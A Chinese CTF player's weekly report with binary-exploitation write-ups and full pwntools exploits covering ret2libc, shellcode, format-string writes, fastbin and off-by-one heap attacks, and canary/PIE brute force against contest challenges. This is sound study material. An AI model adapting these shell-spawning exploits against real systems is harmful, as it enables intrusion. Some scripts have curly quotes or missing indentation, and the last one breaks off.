某不知名ctfer选手的第三周周报

有些题目不是比赛题,也不是刷题网站上面的,是学长出的,有需要附件的可以直接私我

 [NSSRound#4 SWPU]真签到题来试试吧

思路

确实是一道简单的签到题,这里给出了system的函数(运行一下即可知道),而且溢出长度也足够大,根据system地址反推出libc_base后就可以使用libc中的gadget,这不嘎嘎乱杀吗?(0x90后面是0xa0,0xbo,......0xf0,然后再是0x100,不要认为0x90后面就是0x100。hex)

Exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
#p=process("./pwn")
p=remote("node4.anna.nssctf.cn",28620)
elf=ELF("./pwn")
#debug()
libc=ELF("libc6_2.27-3ubuntu1.5_amd64.so")
r(70)
r(70)
r(70)
p.recvline()

system=int16(r(14))
libc_base=system-0x04f420
ret=0x000000000040101a
rdi=0x0000000000401373
binsh=libc_base+next(libc.search(b'/bin/sh')) 
lg('libc_base',libc_base)
print(hex(system))
payload=b'a'*0x88+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
s(payload)
pause()
inter()

[HGAME 2023 week1]simple_shellcode

一次read不够多,为什么不再读一次呢?

得到的flag请使用NSSCTF{}格式提交。

思路

可以看到read只能读取0x16个字节并执行,随随便便执行几个汇编指令长度就不够了,根据题目的提示也可知道需要再次读入,通过对寄存器操作来实现再一次的读取(自己手写汇编)。然后注意一下地址再写入orw并执行即可

Exp

from pwn import *

context.arch = ‘amd64’
context.os = ‘linux’

#p = process(“./vuln”)
p = remote(“node5.anna.nssctf.cn”,23754)
#gdb.attach§

buffer_addr = 0xcafe000f

shellcode = asm(“”"
mov rsi,{0}
xor rdi,rdi
syscall
“”".format(buffer_addr))

p.send(shellcode)

sc=shellcraft.cat(b"/flag")
payload = asm(sc)

p.send(payload)
p.interactive()

print(p.recv())

[广东省大学生攻防大赛 2022]jmp_rsp

思路

可以看到典型栈溢出,检查发现什么保护都没开,那么题目又提示了jmp_rsp,那么写入shellcode再通过一点点小技巧执行即可。当然这题用ret2libc打是行不通的因为没有类似puts的函数去泄露got表,但是这题可以用ret2syscal写,如果你是用ropchain写,长度会不够,所以只能控制寄存器手写。

Exp1:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p=remote("node5.anna.nssctf.cn",28702)
p = process('./service')
#p=remote("node4.anna.nssctf.cn",28334)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF('./service')
jmp_rsp = 0x46d01d
payload = asm(shellcraft.sh()).ljust(0x88, b'\x00') + p64(jmp_rsp) + asm('sub rsp, 0x90; jmp rsp')
s(payload)

inter()

Exp2:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p=remote("node5.anna.nssctf.cn",28702)
p = process('./service')
#p=remote("node4.anna.nssctf.cn",28334)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF('./service')
bss=0x6BA8D9
rdi=0x400696
rax=0x415174
rdx_rsi=0x44b929
syscall=0x000000000040120c
payload=b'a'*0x88+p64(rdi)+p64(0)+p64(rdx_rsi)+p64(0x10)+p64(bss)+p64(elf.sym['read'])+p64(rdi)+p64(bss)+p64(rdx_rsi)+p64(0)*2+p64(rax)+p64(0x3b)+p64(syscall)
p.send(payload)
pause()
p.sendline(b'/bin/sh\x00')
p.interactive()

[HCTFn2d]easy-fmt

思路:

应实验室的要求也是重新再把这道题用写入rbp链的形式来执行system的方法写了一遍过程真的太痛苦了,好在收获很多,对此我总结了一下六点

......

emmm,好了不开玩笑了,对这种非栈上的任意地址读写还是有点困难滴。首先这个和栈上的格式化字符串的本质区别就是不能往栈上写值

可以看到printf(buf)里面的buf是写在bss段的,那么就是非栈上的格式化字符串,这样的话,如果你已经看了我的第一周周报的话,那么一个知道怎么修改地址的高位与地位,如果还没看的话,那么请先去看看我第一周周报的ezfmt,再来看这个。其实这个也是对我第一周的那个题的一个补充和总结。

对应这种非栈上的格式化字符串,我们首先要找类似于这样的链子

stack_addr1->stack_addr2->stack_addrx

......

stack_addr2->stack_addrx

这样的话我们就可以对除了stack_addr1stack_addr2以外的栈空间进行任意地址写了。如果你和本博主一样悟性不是很高的话,那么再看看下面这个

通过我画出来的两个部分就可以实现以上我说的功能,这里可以通过%kc%x$n(k和x均为未知数,动调确定),来把0x7ffc7f90bab5的最后两位改成0xb8,那么相应的0x7ffc7f90bac0也会指向0x7ffc7f90bab8就是变成下面这样

0x7ffc7f90baa0 —▸ 0x7ffc7f90bac0 —▸ 0x7ffc7f90bab8 ◂— 0x7142c788f388e100

......

0x7ffc7f90bac0 —▸ 0x7ffc7f90bab8 ◂— 0x7142c788f388e100

那么我可以写一个循环,对0x7ffc7f90bab8写完值之后再通过格式化字符串把它改为0x......b9再进行写值,再改,反复这个操作即可得到我们想要的值,举个例子

假如我要把0x786dfb7d8678(binsh在libc中对应的地址)写在0x7ffc7f90bab8,该怎么写呢?,很简单一点python基础就行了,分别把它拆成0x78,0x86......,0x78。六份在写入0x......b8,0x......b9,......就可以了。

是不是有人会想问如果我在第一次改的时候通过%$n对rbp进行写值会不会写在0x7142c788f388e100这个值上面,,那么这样写的话还能不能把最后两位抬高呢?师傅们不妨自己试试。自己找找原因(滑稽)

那么当我们改完binsh之后发现,哎,这个system怎么要破坏我们的链表结构了,那么破坏了之后还咋写啊?再找一条新的就行了,不过找到新的了之后如果要改的栈它的布局是

stack_addr11->stack_addr22<-0x.........

这样的话,那么一定要破坏成stack_addr11<-0x.......

这样的话才好改,然后直接再找一条与

stack_addr1->stack_addr2->stack_addrx

......

stack_addr2->stack_addrx

类似的链子就可以了,好了,下面是exp

  Exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p=remote("124.71.99.248",20866)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




p.sendafter("stdin>>\n",b'%3$p.%8$p.')
libc_base=int(p.recvuntil(b'.')[-13:-1],16)-libc.sym['read']-18
stack=int(p.recvuntil(b'.')[-13:-1],16)-0x30
rdi=libc_base+0x000000000002a3e5
ret=libc_base+0x0000000000029139

ret_addr=stack+0x18


lg('stack',stack)

lg('libc_base', libc_base)
c = int16(hex(stack)[-4:])
b = int16(hex(ret_addr)[-2:])
sa(b'stdin>>\n',b'%' + str(c).encode() + b'c%10$hn')
#pause()
sleep(1)
#改次数
sa(b'stdin>>\n', b'%55c%16$hn')


sleep(1)


sa(b'stdin>>\n',b'%' + str(b).encode() + b'c%8$hhn')
#pause()

one_gadget=libc_base+0xebd3f
system,binsh=get_sb()

sleep(1)

lg('one_gadget',one_gadget)

a = int16(hex(ret_addr)[-2:])
b = int16(hex(ret_addr)[-4:])
d = int16(hex(one_gadget)[-12:-10])
#ret


for i in range(6):
	payload = b'%' + str((a+i)).encode() + b'c%10$hhn'
	sa(b'stdin>>\n', payload)
	
	payload = b'%' + str((ret>> 8*(i)) & 0xff).encode() + b'c%16$hhn'
	sa(b'stdin>>\n', payload)
	

#pop rdi ret

lg('rdi', rdi)
payload = b'%' + str((a+8+i)).encode() + b'c%8$hhn'
sa(b'stdin>>\n', payload)

for i in range(6):


	payload = b'%' + str((a+8+i)).encode() + b'c%8$hhn'
	sa(b'stdin>>\n', payload)
	payload = b'%' + str((rdi>> 8*(i)) & 0xff).encode() + b'c%12$hhn'
	sa(b'stdin>>\n', payload)


#binsh	


for i in range(6):
	payload = b'%' + str((a+16+i)).encode() + b'c%8$hhn'
	sa(b'stdin>>\n', payload)
	
	payload = b'%' + str((binsh>> 8*(i)) & 0xff).encode() + b'c%12$hhn'
	sa(b'stdin>>\n', payload)

for i in range(2):
	payload = b'%' + str((a+22+i)).encode() + b'c%8$hhn'
	sa(b'stdin>>\n', payload)
	s=0
	payload = b'%12$hhn'
	sa(b'stdin>>\n', payload)




payload = b'%8$n'
sa(b'stdin>>\n', payload)

for i in range(6):
	payload =b'%' + str((b+24+i)).encode() + b'c%43$hn'
	sa(b'stdin>>\n', payload)
	payload = b'%' + str((system>> 8*(i)) & 0xff).encode() + b'c%57$hhn'
	sa(b'stdin>>\n', payload)
pause()
inter()	

[神秘的二题(堆)uaf]

前言:

之前忘记和大家说了,就是在第二周周报的时候写了一个神秘的一题目,heap_uaf1和heap_uaf2忘记和你们说libc的版本和攻击原理了,其实这点在打堆题目的时候是很重要,之前我周报写的那个神秘的一题目就是打的glibc2.27的Tcache,那么现在我们来打一下fastbin

思路:

那么为什么有更好用的Tcache不打,反而要去打更难。当然是废话啦,有时候远程给你的libc是2.23,而我们的Tcache是glibc2.26之后引入的机制。那么如果给的远程版本小于2.26的话就应该考虑攻击fastbin了。

那么我们是否还可以像打free_hook一样的方法去打fastbin呢?我们可以试试。

首先我们要想方设法的让我们free掉的chunk放入unsorted bin 这样才可泄露libc_base。它里面存放的chunk最大为0x80,那么我们只要创建一个0x80的堆块再free掉即可使其进入unstored bin,泄露libc_base。

那么我们再使用下面这行代码

create(3, 0x60)
create(4, 0x60)
delete(4)
delete(3)
# fastbinY[0x70] -> chunk3 -> chunk4
edit(3, p64(free_hook))
create(7, 0x10)
create(5, 0x60)
debug('b *$rebase(0x13b1)')
create(6, 0x60)

这样的话再edit是不是就可以getshell了。答案是不行

可以看到程序出现了这样的错误那么是什么原因了,有耐心的或者想深入了解师傅可以去直接拿着这个memory corruption (fast)报错去搜索源码,我这里就直接介绍为什么了,这里是因为fast bin在返回chunk时会对其size进行检查如果和所指定的不一样则会报错。打个比方

这时候我打断点在执行了create(5, 0x60)之后,此时查看bins的情况

可以看到如果我们再执行creat(6,0x60)这段代码的话会把0x7e......(__free_hook)给分配出来,也正是因为这个才让程序报错的

我们可以查看里面有什么

可以看到size位为0,那么这样的话和我们所需要的0x60不匹配。所以程序强行终止。

在bin中的a->b->c这里a,b,c是指向chunk的prev_size。

而在ptr[v1] = malloc((int)v3);这里的ptr是指向chunk的use_data。

free_hook打不了了,那么我们试试看大malloc_hook,这里动调可以发现

这里一个0x7e那么如果我们把伪造的chunk放在这里就可以了,那么写

edit(3, p64(malloc_hook-0x23))

没有报错,然后通过动调找到我们伪造的堆块,和他的prev_size和usedata,由于打malloc参数不可控,那么我们就只能选择打one_gadget然后在creat一个chunk即可getshell。

Exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./heap')
elf = ELF('./heap')
libc = ELF('/home/love/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def create(idx, size):
	sla(b'>>', b'1')
	sla(b'idx? ', str(idx))
	sla(b'size? ', str(size))
def delete(idx):
	sla(b'>>', b'2')
	sla(b'idx? ', str(idx))
def show(idx):
	sla(b'>>', b'3')
	sla(b'idx? ', str(idx))
def edit(idx, data):
	sla(b'>>', b'4')
	sla(b'idx? ', str(idx))
	sa(b'content : \n', data)


create(0, 0x80)
create(1, 0x10)
delete(0)
show(0)
r(10)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x68 - libc.sym['__malloc_hook']
lg('libc_base',libc_base)
system, binsh = get_sb()
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
ogg = libc_base + 0xf1247
realloc = libc_base + libc.sym['realloc']

create(3, 0x60)
create(4, 0x60)
delete(4)
delete(3)
# fastbinY[0x70] -> chunk3 -> chunk4
edit(3, p64(malloc_hook-0x23))

create(5, 0x60)
#debug('b *$rebase(0x13b1)')
create(6, 0x60)
#pause()
edit(6,b'\x00'*0x13+p64(ogg))
#pause()

lg('libc_base', libc_base)
create(7,0x10)
#debug()
inter()

总结:

这种题和Tcache的区别就是能改的少很多,和多了一个对size的检查机制。然后其他的利用手段都是和Tcache是差不多的,OK,下次给你们讲offbyone和offbynull

[神秘的三题(堆)offbyone]

offbyone原理:

先来看看这个题,这个是根据上面那两个题目的源码来改的,修复了uaf漏洞,但是在edit时可以多输入一个字节,造成offbyone(堆溢出漏洞)。

思路:

首先看一看多输入一个字节会怎么样。还是得动调。来看看,由于我们能多输入一个字节,那么我们可以修复到下一个size为,把下一个chunk的size给改掉。纸上得来终觉浅,动手试试。我们先创建多一点的堆块。

可以看到这里创建了5个堆块,那么我们在使用edit看看会有什么效果

可以看到五个chunk合并成了一个chunk,其实实际上,它不止一个chunk,这里主要是pwndbg识别的问题,那么我们把这个0x60的堆块free掉会怎么样呢?

free三个吗?还是一个。这里我直接说答案了,这里其实只会free掉0x60这一个chunk,那么那些没识别出来的chunk会怎么样,当然是还在使用的,那么这个不就是类似于uaf漏洞了。然后我们再free掉这个之后还可以把这个给申请回来。这么讲可能有点复杂,看看图

我们先把idx1free再申请回来,那么堆的布局就会如上图所示,然后再把idx2给free,那么这样的话就会使两个idx指向同一个堆块,当一个idx是free的而另外一个不是free的,就可以通过另外一个idx进行uaf漏洞攻击

可以看到这里虽然把2给free了,但是gdb里面没有提示,但是还是存在的,用bins可以查看。

其实核心思路到这里已经结束了,但是为了一下脑瓜子不太聪明的人(比如我),还是讲下一步的攻击思路,那么下一步是

(1),.泄露libc_base:那么怎么泄露呢?其实聪明的人应该想得到了,就是然free掉的chunk进入unsorted bin然后再malloc回来,这时申请回来的堆块就会保存这libc里面的相关信息。(溢出别人的堆块的size最好以8结尾,其他的堆块最好以0结尾)

(2),改fd指针:先free一个小堆块再用edit将malloc_hook写入被free的堆块,即可看到

再申请两个堆块即可得到malloc_hook,再往里写值即可

Exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./heap')
elf = ELF('./heap')
libc = ELF('/home/love/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def create(idx, size):
	sla(b'>>', b'1')
	sla(b'idx? ', str(idx))
	sla(b'size? ', str(size))
def delete(idx):
	sla(b'>>', b'2')
	sla(b'idx? ', str(idx))
def show(idx):
	sla(b'>>', b'3')
	sla(b'idx? ', str(idx))
def edit(idx, data):
	sla(b'>>', b'4')
	sla(b'idx? ', str(idx))
	sa(b'content : \n', data)

# libc_base
create(0, 0x18)
create(1, 0x20)
create(2, 0x60)
create(3, 0x10)

edit(0, p64(0)*3 + p8(0xa1))
delete(1)
create(4, 0x90)
show(4)
r(10)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
#lg('libc_base',libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1247

# fast bin attack

delete(2)
edit(4, p64(0)*5 + p64(0x71) + p64(malloc_hook - 0x23))
debug()
create(5, 0x60)
create(6, 0x60) # -> malloc_hook - 0x23 

edit(6, b'\x00'*0x13 + p64(one_gadget))

create(7, 0x20)

lg('libc_base', libc_base)

inter()

[CISCN 2023 初赛]funcanary

思路:

可以看到这里有fork()函数,这个函数的作用是什么呢?就是再程序意外结束之后又给函数重启,如图

那么这样的话就可以实现我们canary的爆破了,在发送完payload后,如果没有收到*** stack smashing detected ***: terminated。而是收到"have fun",那么就可以证明我们猜的flag是正确的,然后这题又开了pie,一般没有fork函数的话,我们只能随缘跳转,但是现在不一样了,我们有了fork函数,就可以进行16次尝试来爆破pie,那么这样的话,成功的概率就大很多了,这题也给了bin/cat flag的指令,那么开爆吧。

Exp:

from struct import *
from ctypes import *
from pwn import *

def dbg():
	gdb.attach(io,'b *$rebase(0x13ab)') 
	pause()
def s(a):
	io.send(a)
def sl(a):
	io.sendline(a)
def sa(a,b):
	io.sendafter(a, b)
def sla(a,b):
	io.sendlineafter(a, b)
def r():
	io.recv()
def rl():
	io.recvline()
def ru(a):
	io.recvuntil(a)
def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def sb():
	return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

debug = 1
if debug == 0:
	io = process('./service')
if debug == 1:
	io = remote('node5.anna.nssctf.cn', 20416)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./service')
#libc = ELF('/home/pw/pwn_tools/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')	
#c = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

#--------------------------------------------------------------------
canary = b'\x00'
sa('welcome\n',b'a'*0x68 + canary + p8(1))
for i in range(7):
	for j in range(256):
		sa('welcome\n', b'a'*0x68 + canary + p8(j))
		if io.recv(2) == b'ha':
			canary += p8(j)
			break
flag = 0x0231
for i in range(16):
	payload = b'a'*0x68 + canary + b'a'*8 + p16(flag)
	sa('welcome\n', payload)
	flag += 0x1000


		
print(io.recv())
io.interactive()
print(io.recv())

[NISACTF 2022]ezheap

思路:

可以看到确实是很简单的堆溢出,我们只要将输入溢出到command的地方,然后填入binsh或者sh即可。

Exp:

from pwn import *
#p=process("./pwn")
p=remote("node5.anna.nssctf.cn",21687)
p.recv()

payload=b'\x00'*0x16+p8(0x16)+b'\x00'*4+b'/bin/sh\x00'
p.sendline(payload)
p.interactive()

[NISACTF 2022]UAF

思路:

菜单堆题,明显uaf漏洞

想来也是自己蠢了,想着通过doublefree来实现任意地址改写,然后居然改到page哪里去了,我应该去改堆块里面对应的执行puts功能的地方的,但是好像不知道怎么改,最后看了学长的wp才知道原来这么容易。

先申请一个chunk(0)之后在free掉,由于这里指针没有清空,所以还保留着,那么我们再申请一个就可以得到这个chunk(1),然后再对其进行写值,然后由于chunk0并没有清空指针,那么我们我们得到的的chunk1还保留着执行show命令时的跳转地址(echo)。

create(0)
create(1)
delete(0)

为了方便大家看的更清楚,我这里连续放了两个堆块再free一个,可以看到free掉的堆块,上面有show的关键地址,但是正在使用的chunk没有,但是由于这里chunk的指针没有清空,那么我们改变一下顺序就可以改掉show函数的功能了。

create(0)

delete(0)

create(1)

然后写Exp。注意这里会把输入的当做函数的参数所以要写b'sh;\x00'

Exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn111')
elf = ELF('./pwn111')
libc = ELF('/home/love/桌面/glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#p=remote("node4.anna.nssctf.cn",28570)

def create(idx):
	sla(b':', b'1')

def delete(idx):
	sla(b':', b'3')
	sla(b'Input page', str(idx))
def show(idx):
	sla(b':', b'4')
	sla(b'Input page', str(idx))
def edit(idx, data):
	sla(b':', b'2')
	sla(b'Input page', str(idx))
	sla(b'Input your strings', data)


create(0)

delete(0)
#debug()
create(1)

edit(1, b'sh;\x00'+p32(elf.sym["system"]))
show(0)
p.interactive()

















[ISCTF2023复现]PWN_stack

不得不说学长出的这道题还是有质量的,这里有两个坑点,对于新生来说可能会踩坑,那个时候的我连栈溢出都不会,所以拖到现在才想起来复现。

思路:

这道题目乍一看就是简单的栈溢出漏洞,只要我们输入32+8也就是0x28个字节就可以溢出了,然后再输入我们要篡改的地址即可,听起来payload是不是b'a'*0x28+p64(要篡改的地址),很显然这样的答案是错误的,这里我先给出正确的脚本,你们好好根据代码再动调发现问题。

Exp:

from pwn import *
p=process("./stack")
#p=remote("gz.imxbt.cn",20641)

p.sendline(b'42')
#gdb.attach(p,'b *0x4012D3')
payload=p8(0x22)*32+p8(0xee)*3+p8(0x12)*1

p.send(payload)

p.interactive()

[ISCTF2023复现]PWN_ezpie

思路:

64位程序

除了canary其他的都开了

根据这段代码结合动调可以得到func的地址,再减去elf.sym["func"]即可得到程序的基地址,那么pie我们就绕过了,现在可以通过pro_base(程序基地址)+程序中对于的偏移即可调用程序的gadget

上述原理同libc的偏移。然后接下来就是简单的ret2licb了

Exp:

from pwn import *
#p=process("./ezpie")
elf=ELF("ezpie")
p=remote("gz.imxbt.cn",20739)
#sys=elf.sym["system"]
#gdb.attach(p,'b *$rebase(0x1248)')
leave=0x080485FD
payload=b'a'*36+b"fuck"
p.send(payload)
libc=ELF("libc6_2.31-0ubuntu9.11_amd64.so")
p.recvuntil(b"fuck") 
fun=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(fun))
pro_base=fun-elf.sym["func"]
rdi=pro_base+0x1333
ret=pro_base+0x101a
put=pro_base+elf.sym["puts"]
got=pro_base+elf.got["puts"]
print(hex(pro_base))
payload2=b'a'*0x58+p64(rdi)+p64(got)+p64(put)+p64(fun)
p.send(payload2)
p.recvline()
p.recvline()
p.recvline()
pause()
put_got=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=put_got-libc.sym["puts"]
print(hex(put_got))
print(hex(libc_base))
system=libc.sym["system"]+libc_base
binsh=libc_base+next(libc.search(b"/bin/sh"))


p.recv()
payload2=b'a'*0x58+p64(rdi)+p64(binsh)+p64(ret)+p64(system)
p.send(payload2)
p.recv()
p.interactive()

[ISCTF2023复现]PWN_fmt

虚拟机崩了有点烦,本来脚本都写好了的,现在又要重新写一遍,还好不是很难

思路:

如果放在以前的话。我可能看都看不懂,不过现在看来真是一道十分简单的fmt,直接用%k$hhn改v1和v2的值即可,至于位置动调就好了。

Exp:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt')
elf = ELF('./fmt')
#gdb.attach(p, 'b printf')
p.sendafter(b'> ', b'%18c%8$n%34c%9$n')
#pause()
p.interactive()

[ISCTF2023复现]PWN_fries

思路:

64位程序,保护全开

首先想办法进入format函数,然后

可以看这里指行了7次格式化字符串,那么我们可以用第一次来泄露stack地址和libc_base,然后再改ret_addr为one_gadget即可

Exp:

from pwn import *
# -------------------修改区----------------------------
context(log_level='debug',arch='amd64',os='linux') #arch='amd64',arch='i386'
pwnfile='./fries'
elf = ELF(pwnfile)
libc = ELF('./libc.so.6')
flag=0 # 远程/本地
ip ='192.168.75.130'
port=10000
# -------------------End------------------------------
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
b=lambda :gdb.attach(p)
d=lambda :pause()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
if flag:
p = remote(ip,port)
else:
p = process(pwnfile)
b()
payload=b'fries\x00'
sa("Emmmmm... Could you give me some fries",payload)
# 泄露binary
sa("Go get some fries on the pier",b'%25$p%17$p%31$p')
ru(b'0x')
adventure_134=int(p.recv(12),16)
binary_base=adventure_134-134-elf.symbols['adventure']
leak("binary_base",binary_base)
# 泄露libc_base
ru(b'0x')
puts_346=int(p.recv(12),16)
libc_base=puts_346-346-libc.sym['puts']
leak("libc_base",libc_base)
# 泄露栈地址
ru(b'0x')
